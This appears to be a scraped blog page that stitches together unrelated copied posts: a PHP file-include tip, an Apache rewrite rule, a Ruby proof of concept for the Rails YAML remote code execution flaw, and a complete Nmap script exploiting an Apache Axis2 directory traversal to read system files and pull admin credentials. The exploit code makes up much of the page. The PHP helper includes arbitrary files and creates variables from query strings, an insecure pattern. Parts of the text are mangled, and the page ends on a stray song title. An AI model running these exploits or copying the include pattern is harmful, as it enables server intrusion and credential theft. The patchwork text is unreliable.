Saturday, September 2, 2017

cross scripting attack PHP - include a php file and also send query parameters

You could so something like this to achieve the effect you are after
$_GET['id']=$somevar;
include('myFile.php');
However, it sounds like you are using this include like some kind of function call (you mention calling it repeatedly with different arguments).
In this case, why not turn it into a regular function, included once and called multiple times?

An include is just like a code insertion. You get in your included code the exact same variables you have in your base code. So you can do this in your main file :

    if ($condition == true)
    {
        $id = 12345;
        include 'myFile.php';
    }
?>
And in "myFile.php" :

    echo 'My id is : ' . $id . '!';
?>
This will output :
My id is 12345 !
If you are going to write this include manually in the PHP file - the answer of Daff is perfect.
Anyway, if you need to do what was the initial question, here is a small simple function to achieve that:
php
// Include php file from string with GET parameters
function include_get($phpinclude)
{
    // find ? if available
    $pos_incl = strpos($phpinclude, '?');
    if ($pos_incl !== FALSE)
    {
        // divide the string in two part, before ? and after
        // after ? - the query string
        $qry_string = substr($phpinclude, $pos_incl+1);
        // before ? - the real name of the file to be included
        $phpinclude = substr($phpinclude, 0, $pos_incl);
        // transform to array with & as divisor
        $arr_qstr = explode('&',$qry_string);
        // in $arr_qstr you should have a result like this:
        //   ('id=123', 'active=no', ...)
        foreach ($arr_qstr as $param_value) {
            // for each element in above array, split to variable name and its value
            list($qstr_name, $qstr_value) = explode('=', $param_value);
            // $qstr_name will hold the name of the variable we need - 'id', 'active', ...
            // $qstr_value - the corresponding value
            // $$qstr_name - this construction creates variable variable
            // this means from variable $qstr_name = 'id', adding another $ sign in front you will receive variable $id
            // the second iteration will give you variable $active and so on
            $$qstr_name = $qstr_value;
        }
    }
    // now it's time to include the real php file
    // all necessary variables are already defined and will be in the same scope of included file
    include($phpinclude);
}
?>
I'm using this variable variable construction very often.

14.20 pm Rerouting all php requests through index.php

Here's what I use (and have used for ages):
 mod_rewrite.c>
    # Redirect /index.php to / (optional, but recommended I guess)
    RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /.*index\.php
    RewriteRule ^index.php/?(.*)$ $1 [R=301,L]

    # Run everything else but real files through index.php
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteRule ^(.*)$ index.php/$1?%{QUERY_STRING} [L]
As the comments suggest it will route every request that isn't an actual file to index.php

14.10 pm Rails' Remote Code Execution Vulnerability Explained

Proof of Concept

At the suggestion of a member of the Rails team who I respect, I’ve edited this post to withhold some details about how this vulnerability is being exploited. Please be aware however that full, automated exploits are already in the hands of the bad guys, so do not drag your feet on patching.
There are a number of proof of concepts floating around (see the External Links section), but the ones I saw all required special libraries. This is an example based on them with out-of-the-box Ruby (and Rack):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# Copyright (c) 2013 Bryan Helmkamp, Postmodern, GPLv3.0
require "net/https"
require "uri"
require "base64"
require "rack"

url   = ARGV[0]
code  = File.read(ARGV[1])

# Construct a YAML payload wrapped in XML
payload = <<- span="">PAYLOAD.strip.gsub("\n", "
")

--- !ruby/object:ERB
  template:
    src: !binary |-
      #{Base64.encode64(code)}
PAYLOAD # Build an HTTP request uri = URI.parse(url) http = Net::HTTP.new(uri.host, uri.port) if uri.scheme == "https" http.use_ssl = true http.verify_mode = OpenSSL::SSL::VERIFY_NONE end request = Net::HTTP::Post.new(uri.request_uri) request["Content-Type"] = "text/xml" request["X-HTTP-Method-Override"] = "get" request.body = payload # Print the response response = http.request(request) puts "HTTP/1.1 #{response.code} #{Rack::Utils::HTTP_STATUS_CODES[response.code.to_i]}" response.each { |header, value| puts "#{header}: #{value}" } puts puts response.body
There’s not much to it beyond the payload itself. The only interesting detail is the use of the X-Http-Method-Override header which instructs Rails to interpret the POST request as a GET.
Originally reports indicated that the vulnerability could only be used on POST/PUT-accessible endpoints. With this trick, we can send a POST (with an XML body) which the Rails router resolves as a GET. This makes it even easier to exploit because you don’t have to identify a POST-accessible URL for each application.

13.20 pm http-axis2-dir-traversal exploits a directory traversal vulnerability in Apache Axis2 version 1.4.1 by sending a specially crafted request to the parameter xsd (OSVDB-59001). By default it will try to retrieve the configuration file of the Axis2 service '/conf/axis2.xml' using the path '/axis2/services/' to return the username and password of the admin account.

---
-- @usage
-- nmap -p80,8080 --script http-axis2-dir-traversal --script-args 'http-axis2-dir-traversal.file=../../../../../../../etc/issue'
-- nmap -p80 --script http-axis2-dir-traversal
--
-- @output
-- 80/tcp open http syn-ack
-- |_http-axis2-dir-traversal.nse: Admin credentials found -> admin:axis2
--
-- @args http-axis2-dir-traversal.file Remote file to retrieve
-- @args http-axis2-dir-traversal.outfile Output file
-- @args http-axis2-dir-traversal.basepath Basepath to the services page. Default: /axis2/services/
--
-- Other useful arguments for this script:
-- @args http.useragent User Agent used in the GET requests
---
author = "Paulino Calderon"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"vuln", "intrusive", "exploit"}
require "http"
require "shortport"
require "creds"
portrule = shortport.http
--Default configuration values
local DEFAULT_FILE = "../conf/axis2.xml"
local DEFAULT_PATH = "/axis2/services/"
---
--Checks the given URI looks like an Apache Axis2 installation
-- @param host Host table
-- @param port Port table
-- @param path Apache Axis2 Basepath
-- @return True if the string "Available services" is found
local function check_installation(host, port, path)
local req = http.get(host, port, path)
if req.status == 200 and http.response_contains(req, "Available services") then
return true
end
return false
end
---
-- Returns a table with all the available services extracted
-- from the services list page
-- @param body Services list page body
-- @return Table containing the names and paths of the available services
local function get_available_services(body)
local services = {}
for service in string.gfind(body, '

Service%sDescription%s:%s(.-)

'
) do
table.insert(services, service)
end
return services
end
---
--Writes string to file
--Taken from: hostmap.nse
-- @param filename Filename to write
-- @param contents Content of file
-- @return True if file was written successfully
local function write_file(filename, contents)
local f, err = io.open(filename, "w")
if not f then
return f, err
end
f:write(contents)
f:close()
return true
end
---
-- Extracts Axis2's credentials from the configuration file
-- It also adds them to the credentials library.
-- @param body Configuration file string
-- @return true if credentials are found
-- @return Credentials or error string
---
local function extract_credentials(host, port, body)
local _,_,user = string.find(body, '(.-)')
local _,_,pass = string.find(body, '(.-)')
if user and pass then
local cred_obj = creds.Credentials:new( SCRIPT_NAME, host, port )
cred_obj:add(user, pass, creds.State.VALID )
return true, string.format("Admin credentials found -> %s:%s", user, pass)
end
return false, "Credentials were not found."
end
---
--MAIN
---
action = function(host, port)
local outfile = stdnse.get_script_args("http-axis2-dir-traversal.outfile")
local rfile = stdnse.get_script_args("http-axis2-dir-traversal.file") or DEFAULT_FILE
local basepath = stdnse.get_script_args("http-axis2-dir-traversal.basepath") or DEFAULT_PATH
local selected_service, output
--check this is an axis2 installation
if not(check_installation(host, port, basepath.."listServices")) then
stdnse.print_debug(1, "%s: This does not look like an Apache Axis2 installation.", SCRIPT_NAME)
return
end
output = {}
--process list of available services
local req = http.get( host, port, basepath.."listServices")
local services = get_available_services(req.body)
--generate debug info for services and select first one to be used in the request
if #services > 0 then
for _, servname in pairs(services) do
stdnse.print_debug(1, "%s: Service found: %s", SCRIPT_NAME, servname)
end
selected_service = services[1]
else
if nmap.verbosity() >= 2 then
stdnse.print_debug(1, "%s: There are no services available. We can't exploit this", SCRIPT_NAME)
end
return
end
--Use selected service and exploit
stdnse.print_debug(1, "%s: Querying service: %s", SCRIPT_NAME, selected_service)
req = http.get(host, port, basepath..selected_service.."?xsd="..rfile)
stdnse.print_debug(2, "%s: Query -> %s", SCRIPT_NAME, basepath..selected_service.."?xsd="..rfile)
--response came back
if req.status and req.status == 200 then
--if body is empty something wrong could have happened...
if string.len(req.body) <= 0 then
if nmap.verbosity() >= 2 then
print_debug(1, "%s:Response was empty. The file does not exists or the web server does not have sufficient permissions", SCRIPT_NAME)
end
return
end
output[#output+1] = "\nApache Axis2 Directory Traversal (OSVDB-59001)"
--Retrieve file or only show credentials if downloading the configuration file
if rfile ~= DEFAULT_FILE then
output[#output+1] = req.body
else
--try to extract credentials
local extract_st, extract_msg = extract_credentials(host, port, req.body)
if extract_st then
output[#output+1] = extract_msg
else
stdnse.print_debug(1, "%s: Credentials not found in configuration file", SCRIPT_NAME)
end
end
--save to file if selected
if outfile then
local status, err = write_file(outfile, req.body)
if status then
output[#output+1] = string.format("%s saved to %s\n", rfile, outfile)
else
output[#output+1] = string.format("Error saving %s to %s: %s\n", rfile, outfile, err)
end
end
else
stdnse.print_debug(1, "%s: Request did not return status 200. File might not be found or unreadable", SCRIPT_NAME)
return
end
if #output > 0 then
return stdnse.strjoin("\n", output)
end
end https://github.com/cldrn/nmap-nse-scripts/blob/master/old-scripts/http-axis2-dir-traversal.nse

Cielo e terra (duet with Dante Thomas)